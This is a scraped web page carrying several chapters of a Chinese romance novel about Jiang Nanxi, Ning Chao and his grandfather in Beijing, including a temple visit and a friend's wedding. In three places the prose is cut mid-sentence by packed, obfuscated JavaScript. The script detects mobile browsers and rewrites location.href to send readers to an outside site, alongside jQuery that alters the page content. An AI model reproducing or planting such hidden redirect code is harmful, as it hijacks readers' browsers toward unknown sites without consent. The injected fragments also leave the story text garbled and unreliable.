“啊。”郭秉似是被点醒一般,连着点了几下头。 以前两人在一起时,郭秉逢年过节就往家里寄东西,他固执地认为网上买的不如自己亲手挑的有诚意,有回工作太忙,还是姜南西帮他去买的。 不是能多聊的关系,社交性的寒暄后,姜南西就无声挪开视线,看向马路对面。 那里什刹海风景秀丽,金锭桥上垂柳飘扬。 车来车往,短暂的静默过后,郭秉忽然开口说:“小西,当年......对不起。” 隔着十几米宽的道路,姜南西的目光和宁朝的对上,宁朝疑惑地歪了下头,姜南西对他笑了笑。 郭秉并未察觉这一插曲,仍在自说自话:“当年是我太年轻气盛,说了太多不该说的话,对你造成了伤害,可是你要相信,我都是为了你好,你刚大学毕业太单纯了,这个社会......” “我接受你的道歉。”姜南西出声打断他的话,“但我不会原谅你。” 她说话时声音平静,不悲不喜,但每个字都带着不容置疑的拒绝,也没有看郭秉。 轻柔的风悠悠吹过,树叶簌簌,带着夏天天气的燥热,姜南西的双眸始终凝视着前方,接着,她又扬唇笑了下,侧脸带着温和的宁静。 郭秉站在一旁看着她,直觉这丝笑意不是因为他。 “不过都过去了。”姜南西带着笑意说道,她最后看一眼郭秉手里的东西。 很久以前帮他买东西的那次,从出租车到家的那段距离,各种沉重的东西沉甸甸地压在姜南西的手上,两只手来回地倒腾,双手被细细的带子勒出血痕,可是姜南西还是咬着牙把东西拎回了家。 那一路走得很辛苦,但是都能过去。 这次她转过头来看向郭秉,眼神是真诚的,干净的,不带任何怨怼的,“祝你一切都好。” 说完,终于等来一辆主动停下的公交车,司机大哥朝姜南西潇洒地大手一挥。 姜南西微微颔首表达谢意,而后头也不回地走向马路对面。 盛夏旺盛,街头游人熙攘。 微风裹挟荷香,撞进河面和人群里,姜南西的心情很好,一路小跑着奔向前方。 宁朝接过她手里的糖葫芦,又看一眼马路对面,刚才的男人已经消失在茫茫人海,他神色自若问姜南西:“刚和你聊天的人是谁?” 姜南西没想隐瞒:“前男友。” 宁朝没再问。 路过火神庙,姜南西往里瞥了一眼:“暧你之前说这里能求什么来着?” 宁朝表情淡淡没有情绪:“财运,事业,贵人。” 姜南西眉间微蹙,她记得那天他不是这么说的:“不对啊,不是还有爱情吗?” 她悄悄抬眼瞄下宁朝的脸色。 宁朝到底忍不住了:“怎么分的?我感觉那哥们儿还挺帅呢。” 姜南西被这人的幼稚行为可爱到,低头笑得肩膀都在抖。 宁朝知道她故意的,一个字一个字叫她名字:“姜——南——西——” 笑够了,姜南西站直身体,手动拉平不受控制想要上翘的嘴角,又顺了顺被笑乱的头发,头顶上立着一根呆毛她没发现。 “唉!”她惋惜地叹了口气,头上呆毛被风吹得晃来晃去,姜南西看起来很没有办法的样子:“谁让我就喜欢丑的呢。” 要给她顺呆毛的动作一顿,宁朝冷哼一声,果断收回手。 丑着去吧! 回去前两人又买了不少菜,都是宁朝负责拿,姜南西空着两只手回家。 进小院时,樊老师刚摆好棋局,看见两人身影,热切地招呼:“小西回来啦,累了吧,来喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853699|174551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口水。” 树荫下,姜南西捧着一杯甘草凉茶吨吨灌水,宁朝拎着满手东西进厨房。 宁衡远正忙活一条活蹦乱跳的鱼,上次没做成糖醋鱼,他今天要东山再起。 但嘴上不饶人,一瞧见宁朝就损了:“哟呵!您这大忙人今儿个怎么有空儿往家蹽啊?” “我就出了几天差。”宁朝放下东西,“瞧您这话说的,敢情过两天我再出门儿,您还不让我进这家门了?” “谁出差啦?”姜南西撩起门帘走进厨房,想看看有什么能帮忙的。 宁衡远眉毛一横:“zhei孙子!” 姜南西不敢接话,这是真孙子。 水池边,宁朝一边洗葡萄,一边问宁衡远:“您老怎么又换新盘子了?”一看上面字儿就知道是从保险员小崔手里买的,指不定听人说用了这盘子能补钙。 “许你买那大摩托满世界撒欢儿,不许我给自己换套新盘子。”宁衡远动作利索地处理案板上的鱼,“就许你们年轻人有仪式感?” 这词儿八成也是小崔教的。 宁朝说:“我以后天天给您敬个礼。” 爷孙俩一唱一和,姜南西无声无息摸到宁朝身边,宁朝看她一眼:“站远点儿,水溅着你。” 刚成熟的青葡萄翠绿圆润,在清水底下色泽诱人,姜南西朝宁朝伸出手。 宁朝单独洗一把沥干水放她手里。 姜橙子想要,姜橙子得到。 姜南西看着他问:“你还要出差?” 宁朝嗯了声:“有个项目,明后天还得去趟上海。”他没过多解释。 “噢。”姜南西低低应了一声,脸上有点失落。 “你怎么进来了,樊老师呢?”宁朝将这茬儿揭了过去。 姜南西立马耷拉个脸:“樊老师想下象棋,我不会。” 臊眉搭眼的把宁朝看笑,伸手往她脑门上弹了几滴水。 于是角色互换,姜南西在厨房里帮宁衡远,宁朝陪樊老师下象棋。 对待姜南西,宁衡远的态度就和顺很多了:“小西啊,你把那袋淀粉给我。” 姜南西蹲在地上左翻右,实在没看见了找问:“淀粉放在哪儿呢?” “就那旮旯儿。” “......” 宁衡远反应过来她可能听不懂,又耐心地换了个更直白的说法:“在柜子第二层。” 姜南西找到淀粉递给宁衡远后,就站在旁边看,宁衡远往面粉里放了两勺淀粉。 她问道:“大哥,您今天又做糖醋鱼啊?” 宁衡远得意说:“糖醋鱼可是我拿手菜。” 姜南西免不了眯起眼睛,庆幸这道菜不用那么多盐。 宁衡远搅拌着手里的东西,跟姜南西说:“我那葡萄架上的黄瓜要熟了,新摘的黄瓜嫩,你明后天的过来,大哥给你拌个黄瓜,再煮个绿豆粥。” 姜南西笑了笑:“好呀。” 厨房里气氛和谐融洽,院子里则暗流涌动。 宁朝心底无声叹气,他估计说给谁听都会不信,就樊老师这么一业内如雷贯耳的顶级泰斗,随便往那一站就是活的教科书的人物,下起象棋来居然还会悔棋。 第一次姑且当没看见,可这第二次都兵临城下了。 宁朝无情拆穿她:“樊老师,您这马是不是走错道儿了?” 樊老师理直气壮地说:“我这马都要将军了,你可别胡说八道。” “这哪儿将军了?”宁朝有一说一,他拿起樊老师的那颗红色棋子,“您瞧瞧,离我这将还差着十万八千里呢。” 樊老师坚称道:“我刚就放那儿的。” “您这象棋可没您那核弹算得准。”宁朝调侃。 樊老师说:“是你小子眼神不好。” 就在宁朝要说下一句时,樊老师突然扬起声音,朝着厨房里的人喊:“小西啊,上次我跟你说的那个邵万里,他说想跟你认识认识,我把他微信推给你啊,你要不喜欢樊老师还有别的学生。” “......” 宁朝咽下嘴边所有反驳的话,一声不吭将红色棋子重新放回棋盘,樊老师坚称的那个位置,离他的老将仅一步之隔。 樊老师得逞又无辜地摊一摊手:“你看,将军。” 34. 北冰洋 离京前,姜南西到底去了一次火神庙。 那天是十五,火神庙里人头攒动,听说这里求签很灵,排队的男女老少的脸上,或多或少都带着期待和紧张。 庙里共建六大殿,自左到右环列成序,不同殿内所求之事都是个人最虔诚的贪嗔痴念。 在求事业的真武殿里,一众签文中,姜南西抽中第一签,大吉,签名飞龙变化。 庙里的义工看着比她还激动,翻找解签文时向她道贺:“呀!恭喜啊!” 解签文把姜南西看得云里雾里,但从文字来看,应该是个很不错的签,她微微笑了下跟义工说:“谢谢。” 财运就没那么好手气了,只抽到一个中吉。 姜南西内心毫无波澜,天道忌满,人道忌全,知足常乐就好。 宁朝在会议之前看到这两支签,看完面上没什么表情,他不紧不慢收起手机,抬步走向前方会议室,银色袖扣在腕边闪着细光。走在他身边的,是好友Eric,登雪山时,他们是生死相托的队友,商场上,二人是并肩作战的合作伙伴。 常年投身户外运动,让Eric练就敏感的神经,就像读懂风的语言,雪的密码,他看一眼宁朝的眼神,就知道那是什么意思。 这次也不例外,Eric从宁朝平静的眼眸里捕捉到一丝不易察觉的愉悦,他用蹩脚的中文问:“很有信心?” “当然。”宁朝口吻张扬。 Eric说:“确定我这个头脑简单四肢发达的人,能帮你干好这件事儿?” “......”外国人大概不知道这八个字的深层含义,宁朝憋回笑:“放心吧,登雪山没人比你更专业。” Eric心道中国人的客套文化果然博大精深。 两人边走边聊。 Eric突然说:“窗口期快要没了。” 宁朝回答他的是那句常说的话:“世上无难事,只要肯登攀。” 伸手推开门,Eric的笑声爽朗自信:“三个月后见。” 在火神庙里抽过两支签后,姜南西没再求别的。 排队最多的贵人她没去,因为已经遇到了很多,每个人都在她的生命中留下不可替代的痕迹。 人生萍水相逢,能遇到就是缘分,那些没有血缘却依然对她好的人,都是贵人,是上天给的礼物,可遇而不可求。 他们把她从凡事都消极胆怯的泥潭里捞出来,让她从此活得随性自在,让她不再惧怕任何一段关系,让她走在路上时,遇到风就有发芽的心情,热烈地爱着每一个崭新的今天。 月老殿,门外桃花开得正盛。 姜南西也没进去。 中午在当当家吃的面,老样子,招牌炸酱面,五彩斑斓的菜码一一铺在面条上,浇上浓香的六必居干黄酱,用筷子充分搅拌,菜码肉酱和面条均匀融合,吸溜一口鲜香无穷。 味道也是直来直去,爽利,接地气。 上面时,店主还记着她,贴心地说:“不吃鸡蛋是吧,我记着呢。” 当当从后厨走出来,还是那副古灵精怪的模样,她把手里的酸梅汤往姜南西面前一推:“南西姐,下次记得吃面一定要配酸梅汤喔。” 姜南西朝她勾勾手,在她耳边轻声问:“为什么不是酒了?” “哦,三哥不让喝。”当当一摸自己鼻夹,冷冷吐槽:“一天事儿成多了。” 话落,姜南西和当当同时流露出嫌弃的眼神。 吃完之后,姜南西忽然心生感慨,她知道自己将很长一段时间吃不到这碗面,心里有些不舍,于是她跟当当说:“你们家的面很好吃,一定要开下去!” 当当示意玻璃后的厨房里的人:“看我爸以后还开不开得动。” 下一秒,老板从里头探出脑袋,中气十足地喊:“我活两百岁!” “听见了吧南西姐。”当当对着她笑一下,眉眼粲粲:“一定要回来吃啊。” 下午去宁衡远家,但宁衡远出去办事还没回来。 他提前在电话里跟姜南西说:“要是我不在,你就跟我院子里那些花一块坐会儿。” 进院子时,里面阳光明亮,安安静静,白云在地上滚来滚和蝴蝶嬉戏,苍狗还是那副高冷脸:“人,最近过的怎么样?” 姜南西坐在树下等宁衡远,视线落在墙角的几盆花,和之前一样,花朵枝叶被养得郁郁芊芊,可盆里泥土上,仍长着几株顽固的杂草。 大概是看习惯了,姜南西觉得长着杂草的花也很有意思。 她把随身携带的pocket3支在石桌上,想录一段小院里的风景。 白云看到后,立刻放开一起玩耍的蝴蝶,从地上轻盈一跃蹦上桌面,围着那台机器转圈圈,新奇地用鼻子嗅来嗅去。 姜南西不拦着,任它闻。 蝴蝶在空中飞了两圈,也追过来,重新勾走白云的注意力。 白云蹲坐在桌子上,它仰起头,眼珠子随着蝴蝶的飞舞转来转去,蝴蝶盘旋片刻,小心翼翼落在它的鼻尖上,宛如大自然落下的轻轻一吻。 像是怕惊扰到这美好的瞬间,白云一动不敢动,一猫一蝴蝶在太阳下发着光。 姜南西看得入神,旁边的苍狗眼神平直,不感兴趣地打个哈欠。 “宁老师!” 门外一声高喊打破院内安宁的气氛,姜南西被吓了一跳,受惊的白云“嗖”地一下跳进她怀里,蜷着身体眼睛骨碌碌地转。 与此同时,苍狗猛地蹿起来,浑身毛发炸开,它动作敏捷地跳上桌面,眼带戒备地站在姜南西和白云的面前,喉咙里发出警告的低鸣声。 姜南西一手稳稳抱着白云,一手抚摸苍狗安抚它的情绪,目光看向径直走向院里的人。 小崔看见姜南西,脸上没有惊讶,像初见时那般笑得热情:“姐姐好呀!我是小崔。” 虽然他今天没穿保险制服,但通过这标志似的笑容,姜南西霎时认出了他,态度温和地跟他说:“大爷出门了,还没回来呢,你在这儿等等他?” “不用啦!”小崔说,“我就给他送点东西。” 话音刚落,小崔就兀自忙碌起来。 他把带来的大盒小盒东西一一摆到石桌上,一层又一层地垒了两堆,摆放的过程中,很小心地避开了姜南西的pocket3。 姜南西站在一旁,望着左边那堆盒子上“灵芝孢子粉”“蛋白粉”“延寿片”的字眼,无声地抿了抿嘴唇,知道宁衡远又被忽悠了,可是也奇怪,右边那堆则是正规的老年补品,和那些劣质包装的东西大相径庭。 她本想跟小崔说,要不你再等等吧,等宁衡远回来给你结账。 哪知小崔像是会读心术似的,扬着笑脸道:“姐姐,你跟宁老师说不用给我钱啦,我攒够大学的学费了,马上就可以回去上学了,这是我拿省吃俭用攒下来的钱给他买的,当是谢谢他。” 闻言,姜南西只觉心脏一颤,像被什么东西凿中。 “耽误宁老师这么长时间,我真挺不好意思的。”小崔挠挠自己后脑勺,再看向姜南西时有些腼腆,“真的很谢谢他,不然我可能都没机会回学校。” 所有声音堵在喉间,姜南西好半天才想起要回应:“你要不......还是等他回来,亲自跟他说一声。” 小崔很快摇了摇头,眼底闪烁着希冀的光芒:“我还要回去办辞职,时间紧迫就先走啦。” “对啦姐姐!”小崔走几步想起什么,转身快步跑了回头,他站在树下精神奕奕,神情里充满了生机和活力:“你跟大爷说一声,这些东西都是骗人的,以后别买了,我给他买了点真正有用的,还有......我真的不是坏人,谢谢你啦!” 说完,他chua地弯下腰,对姜南西鞠了个躬。 姜南西受之有愧,抱着白云给他回了一个。 等小崔走后,姜南西一个人静静坐在树下,看着那些从名字到包装都荒唐至极的保健品,看了好一会儿,她蓦地笑出声来。 保健品是假的,但人的善良和知恩图报的心,都是真的。 宁衡远回来以后,姜南西将这件事告诉他。 “这孩子。”宁衡远淡说了句,然后他扫眼桌上花里胡哨的保健品,招呼姜南西道:“走小西,帮着大哥把这些东西扔了。” 姜南西点头:“好。” 还有家里的那些,放床底下的,塞柜子里的,藏犄角旮旯的,一股脑全扔了。 之前不扔是为了让小崔相信,相信一位退休教授真的会买这些来路不明的三无产品,现在孩子学费攒够了,这些东西也就没有留着的必要了。 宁衡远拍拍手上的灰尘,语带欣慰地说:“也是个好孩子。” 至于为什么不是直接资助,而是通过这种方式帮助小崔,姜南西没有问,世间人本不同,各有难事,各有渡口。 她想问的是另有其事。 “大哥。” 宁衡远双手背在身后,因为小崔的事儿,心里正美着:“啊?” 姜南西问:“为什么每次您修剪完那个盆栽,好像都忘了拔里面的杂草?” “嗐!那个啊!”听到这个问题,宁衡远先是明显愣了下,而后他笑了笑,说得自然平缓,“以前呐,老有个人老说我手笨,养这些花花草草不如她,那你说万一,我要是把这盆栽拾掇得太好了,怕她脸上挂不住不是。” 宁衡远声色悠远,似是从胡同里穿堂而过的风,也像穿过漫长回忆的午后的太阳,黄澄澄地落下来,把回去这段路的时光都拉得慢慢的。 “我笨就笨点儿吧。”宁衡远说,“这点儿面子,咱还是要给她的。” 姜南西没再说话。 她脚底踩碎几片枯叶,声音咯嚓咯嚓,仿佛是岁月轻轻的叹息。 临近傍晚,炖上绿豆粥后,没什么事儿,姜南西陪宁衡远坐在小院门口,卖鸡蛋仔。 这里不是繁忙的路口,离景区还有段距离,半天看不着几个游人,宁衡远做了一锅鸡蛋仔后就不再忙活,上旁边小卖部开了两瓶北冰洋回来。 八月末出伏,北京的天气褪去潮湿和闷热,坐在阴凉下,风意舒爽。 太阳的余温烘烤大地,熏得人懒洋洋,说话也懒洋洋。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853700|174551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 屋檐下,宁衡远摇着老蒲扇,问姜南西:“过几天就走啦?” 冰镇后的北冰洋,味道冰爽迅猛,姜南西被刺得微微眯起眼睛:“嗯。” 宁衡远问:“不再玩一阵子了?” 姜南西笑着说:“再玩就玩物丧志了,得努力啊。” “努力是为了什么?”宁衡远手里的蒲扇停了一下。 姜南西望向对面院墙,想了两秒,能想到的东西太多了,理想,生活,未来,一时无法总结,只能小幅度地摇头:“说不清。” 宁衡远倒一脸洒脱:“那就不努力了。” “那别人都在努力,我也得努力啊。”姜南西玩笑似的口吻。 小年轻的想法,宁衡远哪能不清楚,他哼笑道:“别人的事跟你有什么关系,别人努力不是你一定要努力的理由。” 这话像一绺细微的电流,轻若无物地划过心头,却叫姜南西无意识地轻蹙下眉,想要说什么,但好像无论说什么都显得单薄无力。 她垂下目光,凝神停了停,玻璃瓶身的水珠滑入指缝。 胡同里走过几个游人,谈笑声和脚步声交织在一起,带来一阵短暂的喧闹,有人问:“鸡蛋仔好吃吗?” 宁衡远音量拔得高高儿的:“肯定好吃,我家孩子一顿能吃好多个呢!” 姜南西配合道:“好吃!我一顿能吃好多个呢!” 游客也活泼:“看你漂亮我信你!” 人群走后,宁衡远坐下来,继续跟她说:“不能总是跟别人比,一比就容易着急。” 姜南西问:“那要是,因为自己想做的事情而着急呢?” 人总是有苦恼的,即便在生活平静的时候,鼓起勇气做了自己想做的事,又苛责自己,怕自己付出得不够多,不停地跟时间赛跑,努力地想让这件事变得更有意义。 这苦恼不同于焦虑,是人之常理,在所难免。 “毛主席说过,人啊,十分急了就办不成事,越急就越办不成,不如缓一点,波浪式地向前发展,就跟人走路一样,走一阵要休息一下。”说起这些,宁衡远可以信手拈来,滔滔不绝,“这个世界上哪有那么多完全笔直的路,都是曲折的,要做好打持久战的准备。” 他没告诉姜南西,有段时间,他也这么开导宁朝的。 当下的社会,喧哗浮躁,充斥着形形色色的哲学主义。 大部分人的心是浮的,像在海里漂着,在信息杂乱的互联网海洋,找不到那个能稳稳停靠自己的锚,今天听这个,明天信那个,久而久之就飘远了。 现代社会的运行逻辑建立在效率和竞争之上,所以人们都默认当下的焦虑和忙碌,只是在铺垫将来某天的成功,习惯将眼前发生的一切事情当作美好明天的前戏,永无止尽地追赶目标,用一根名为“寄希望于未来”地绳索把自己吊在生活的半空。 却常常忘了,未来正是由当下组成的。 所谓关关难过关关过,只有坚定信念,相信时间是公平的,保持耐心慢慢来,脚踏实地,才能走得更远。 事缓则圆,人缓则安,一切会如约而至。 姜南西仰起脸,阳光落在她的眼睛上,她闭了闭眼,感觉被阳光晒到骨子里,整个人很通透。 她语气坚定,也静缓:“就做自己想做的事。” “就走你自己的路呗。”宁衡远松松散散地说,平淡的像是问她待会儿绿豆粥里要不要加点糖。 “人这一辈子,几十年的风风雨雨,再着急,昙花也就开那几十次。”他有一搭没一搭地摇起蒲扇,扇出来地风,带着丝丝缓缓的清凉,“要赶路错过了,那就真的错过了。” 姜南西双手环胸,人窝在椅子里,眼神放空想着这句话,身上渐渐泛起柔软的倦懒。 就这么坐了很久,直到隐约闻见绿豆粥汨汨的香甜。 才夏末,姜南西突然没头没脑说了句:“大哥,秋天要来了啊。” 书上说,秋天是离别的季节。 而北京的秋天是个很甜的季节,因为空气里,会有糖炒栗子糖葫芦和柿子成熟的味道。 落日西沉,宁衡远的声音在胡同里悠悠散开:“大哥给你炒点糖栗子啊?” 姜南西怀里抱着北冰洋,像一只晒暖满足的小猫,她的惊叹也是慢悠悠:“您还有这手艺?” “我出钱让店家炒怎么就不算是我炒。”宁衡远理不直气也壮。 “栗子也是店家出?” “密云西山村有棵栗子树,比店里栗子香多了。” 姜南西提议:“让宁朝去打。” 宁衡远无比赞同:“不是他还能有谁。” 姜南西闭上双眸,感受夕阳的余晖掠过她的脸庞,每一寸光线,都似是时间前行的脚步,不声不响落在她身上。 一半温柔,仿佛光阴温柔触摸,一半炙热,像自然在急切催促。 可她暂时不想追赶了,就想闲下来,躺在这张椅子上,晒晒太阳,听听胡同里的风,再想想晚上吃什么。 人间蹉跎事,只需念三餐。 这是夏天最好的事情。 35. 香槟 宁朝出差的第六天,生活按部就班向前推进,姜南西去参加陈笛的婚礼。 作为伴娘,她一大早就起来,从新娘晨袍拍摄到接亲游戏,再从敬父母茶到新娘出门,姜南西像个不知疲倦的小陀螺,尽心尽责负责自己该做的事情,不放过任何一个细节,努力守护姐妹婚礼的完美。 也切身实地感受到了陈笛的那句话,结婚太麻烦了。 何星屿呢,自然负责婚礼摄像,非官方的那种。 陈笛说何星屿拍出来的肯定要比专门请的那些人好,以后这就是她的人生回忆录。 何星屿被哄得五迷三道的:“那是!又不是所有摄影师都在长安街上拉过马车。” 中午仪式前,姜南西躲在角落里,脱下高跟鞋,给脚后跟贴创可贴。 何星屿见了问:“你多久没穿过高跟鞋了?” 姜南西用碘伏棉签涂破溃的伤口:“毕业后就没穿过了。” “换双平底鞋呢?”何星屿问。 贴好创可贴,姜南西笑笑说:“她人生就这么一次婚礼,坚持下吧。” 婚礼流程超乎想象的累,无论主角或是伴郎伴娘,仪式正式开始前,大家脸上多少带着点疲惫。 可当新郎新娘携手站上舞台,他们深情对望,互相念出结婚誓词的时候,气氛渲染之下,所有人的目光变得真挚恳切,只望向璀璨灯光中的一对璧人。 姜南西站在人群中,目光紧紧锁在陈笛笼在光晕里的侧脸,当听到她哽咽着说出:“我在很长一段时间里,都无法想象要和谁共度一生这件事,直到有一天我发现,在你身边我可以放肆开怀大笑。” 那一刻,姜南西和她一起眼底泛起泪花。 她想起陈笛曾经艰难的时光,那时的她满心痛苦和伤痕,所以才更显得此刻的幸福弥足珍贵,珍贵到让人忍不住落泪。 感动和喜悦,欣慰和不舍,所有复杂情绪糅杂融合,化作心底一句衷心的祝福,陈笛要永远像今天这样幸福。 她也想起两人互相鼓励的那段时间,陈笛愿意不厌其烦地听她吐槽,她也会半夜买好炸鸡啤酒去安慰低落的陈笛,她们在彼此的影响下做了很多美好的事情。 虽然两人性格截然相反,一个内敛,一个热情,虽然她们的生活走在不同的道路,虽然她们即将分离,可是姜南西知道,她们是一辈子走不散的朋友。 说完誓言,陈笛和老梁共同举起香槟大力摇晃,“嘭”的一声瓶盖飞起,香槟如同金色瀑布喷涌而出,瞬间将现场气氛推向高潮。 香槟在半空中肆意飞舞,溅起小小的水花,漫天都是飘落的香槟液,有人伸手去抓,仿佛这样就能抓住幸福。 扔捧花的时候,按照惯例,伴娘要上去凑个人气。 姜南西准备上台时,被何星屿拦住,面对姜南西疑惑的表情,何星屿什么都没解释,只让她坐着再等会儿。 抢完捧花,宾客四散落座,酒店工作人员开始上宴席。 陈笛把姜南西叫到一边,拿出早就准备好的礼物。 “就不给你捧花了宝贝儿。”陈笛笑了一下,端庄美丽,“人生只有爱情太俗气。” 她在穿着婚纱嫁给爱情的这一天,这样跟姜南西说。 “所以我跟星星一起给你买了台新相机。”陈笛嘴角噙着笑意,她打开精美的包装盒,里面躺着一台质感高端的相机,在灯光下散发着冷冷光泽。 姜南西面露诧异看眼陈笛,又迅速转头看向不远处,何星屿举杯抬下半边眉毛,隔空和她的眼神碰下。 她再次转回头,目光落回陈笛身上。 陈笛眼底满含真切的祝福和鼓励:“希望你带着它,勇敢走向更大的世界,找到你真正想要的生活。” 从陈笛说的第一句话,姜南西的眼眶就开始泛红,现下完全忍不住了,感动的眼泪大颗大颗往下掉,她伸手抹了一把,可眼泪像是断了线的珠子,怎么都止不住,擦也擦不干净,直接打湿了她的两只手,湿漉漉的。 陈笛的眼中也早已蓄满泪水,她放下礼物盒,伸出双臂紧紧抱住哭成泪人的姜南西。 明明心里满是不舍,可作为朋友,陈笛和何星屿都坚定地支持她的梦想。 “橙子,不止大海和旷野在等你,记着我们也是啊。” 婚礼上,新娘和新娘闺蜜抱在一起哭得唏哩哗啦,新郎在一旁压力陡增,冷汗直淋,他求助似地看向何星屿。 何星屿耸了耸肩,一脸淡定:“佳能,感动常在。” · 仪式结束后,陈笛举办了场游园会,是为本次婚礼精心准备的节目。 陈笛充分发挥她的创意和才能,在庄园里设置了各式各样的特色项目,有儿时记忆里的弹珠机,也有近几年的VR游戏机,还有照顾小朋友们的儿童投篮机。 所有宾客可以根据喜好组队游玩,抑或自行单人游玩,让每个人都能享受到属于自己的欢乐时光。 游园会后又是年轻人的party,结束回到家时,已经是凌晨三点。 姜南西草草卸妆洗澡,跟何星屿说明天不用叫她起来吃饭,何星屿也迷蒙着,问她不吃什么饭。 不知从哪钻出来的尼奥见缝插针:“我想每天都能吃到福香斋的早饭。” “早饭中饭和晚饭。”姜南西用尽最后一丝力气跟他说完,而后关上房门,上床倒头就睡。 一觉醒来是第二天中午十二点,高跟鞋的后遗症,让姜南西感觉浑身骨头被拆过一遍的疼,她是饿醒的,挣扎爬起来吃了个饭。 吃完继续睡,睡到一半,迷迷糊糊中觉得有电话进来,但姜南西实在浑身又累又疼,没在意,按灭手机重新睡过去。 直到傍晚六点多,电话铃声如催命般急响。 姜南西迷迷糊糊接起来,还没开口,就听见对面大哥焦急的嗓音:“不是姑娘你终于接电话了,我为你这单都耽误多少时间了,东西还要不要了?” 姜南西清醒了一点:“什么东西?” “你不是叫姜南西啊?”大哥怀疑地拿开手机,话筒里声音时远时近,“电话号码没错啊,有人让我从什刹海给你闪送个东西。” 什刹海! 姜南西猛地惊醒,一下子从床上弹起来。 她边找拖鞋边跟人道歉:“不好意思不好意思,我马上下来,辛苦您等我一下。” 见她态度还行,大哥说话也不再那么强硬:“那你快点儿的吧,我在B门等你啊。” 姜南西又连着给人道了好几声歉,才敢挂掉电话,直接穿着睡衣拖鞋慌乱跑出家门。 是宁衡远给她送的糖炒栗子,估计刚一出锅就送过来,用保温袋裹着,拿在手里还是热乎的。 姜南西跟闪送员核对信息时,听到后面有人叫她一声。 “姜橙子。” 姜南西回头,几天没见的人出现在眼前。 今天的宁朝穿着十分正式,白色衬衫搭配黑色西装裤,没打领带,衬衫领口微敞,袖子利落挽起,露出手臂上的腕表,不是之前的运动手表,这支更偏商务风,衬得他整个人冷峻成熟。 微风轻轻吹过,不经意撩起额前碎发,露出他英气的眉眼,恰到好处地平衡了这身西装的正式感,让宁朝看上去不那么严肃,反而更显活力和朝气。 他身姿笔挺,五官干净而俊朗,周身气质当得起一个风华正茂。 宁朝步态从容朝走来,夕阳在他肩上镀了一层淡淡的金辉。 看这装扮,姜南西猜他是刚从什么商务场合里出来,抱着那袋栗子问:“你刚下班吗?” “一半儿。”宁朝说话时嗓子有点哑,大约是频繁出差累的,“待会儿还要回去跟合作商吃个饭。” 姜南西睫毛颤了颤:“那你现在怎么过来了?” 电动车挨着两人穿来穿去,宁朝拉着姜南西站到旁边,随即递给她一个纸袋子:“过来给你送炒板栗。” “你也有糖炒栗子?”姜南西低头去看宁朝袋子里的板栗,刚才光顾着看人,都没注意他手里还拿着东西。 从这话里宁朝听出点什么,瞥眼她怀中的同款纸袋子,瞬间明白了什么:“我说这老爷子怎么非要吃这个,硬是让我开车去密云给他打栗子。” 姜南西心虚地移开眼睛,瞟了瞟别处没说话。 “这袋也给你。”宁朝把手里栗子放到姜南西那袋上面。 他刚下会议收到闪送的栗子,趁着中场休息开车过来,既是给姜南西送糖炒栗子,也是放松。 看到姜南西,他就能放松。 姜南西抬起头,看到他眉宇里的倦意,心下愧疚又心疼:“你真开车去打板栗啦?” 宁朝回答:“没有。” 姜南西内心暗自舒一口气。 紧接着宁朝又道:“开一半在路边买的。” 姜南西:“......” “现在还没到板栗成熟的时候,去了也是白搭,能在路边碰上都算运气。”宁朝跟她解释,完全没注意姜南西此刻表情里的躲闪,只看到她红肿的眼睛,“你眼睛怎么了?” “啊?”姜南西茫然地眨了眨眼,“哦,昨天参加陈笛婚礼来着。”她越说声音越小,有些不好意思。 宁朝微微欠身,去看姜南西的眼睛,眼神玩味但不失关心:“哭了?” 在他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15858162|174551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注视下,姜南西别开眼,囫囵道:“好朋友结婚,我会哭也是正常的吧。” 宁朝笑着站直身体,静静站在她身边。 下班高峰期,道路中挤满车辆和人群,尖锐的鸣笛声此起彼伏,空气弥漫着令人烦躁的混乱。 两人后知后觉,他们竟然在如此混沌的环境中聊了许久,浑然没有察觉周遭的纷乱,这一刻,他们在世界喧嚣的坐标系里,构建出只有彼此的第三空间,一心看着对方,只听对方讲话。 看见她身上的睡衣,和脸颊边还未消去的压痕,宁朝轻声问:“刚睡醒?” 姜南西点了点头:“被电话叫起来拿糖炒栗子。” “那上去吧。”宁朝替她理了理被风吹乱的头发,动作轻柔地别到她耳后,“这里太吵了。” 姜南西问:“你现在就要走了吗?” “我回车里坐会儿。”宁朝示意停在后面的奥迪,“一会儿回去参加饭局。” “要喝酒吗?”姜南西担心地问。 “不喝。”宁朝笑笑,“去吧。” 再这么站下去,两人估计能站到天黑。 姜南西垂眸说:“好。” 有什么不言而明的东西缓缓流淌,说了去吧的人并没有转身就走,答应说好的人也没有要离开,两人同时站在原地,沉默相望,无言的眼神包含太多太多。 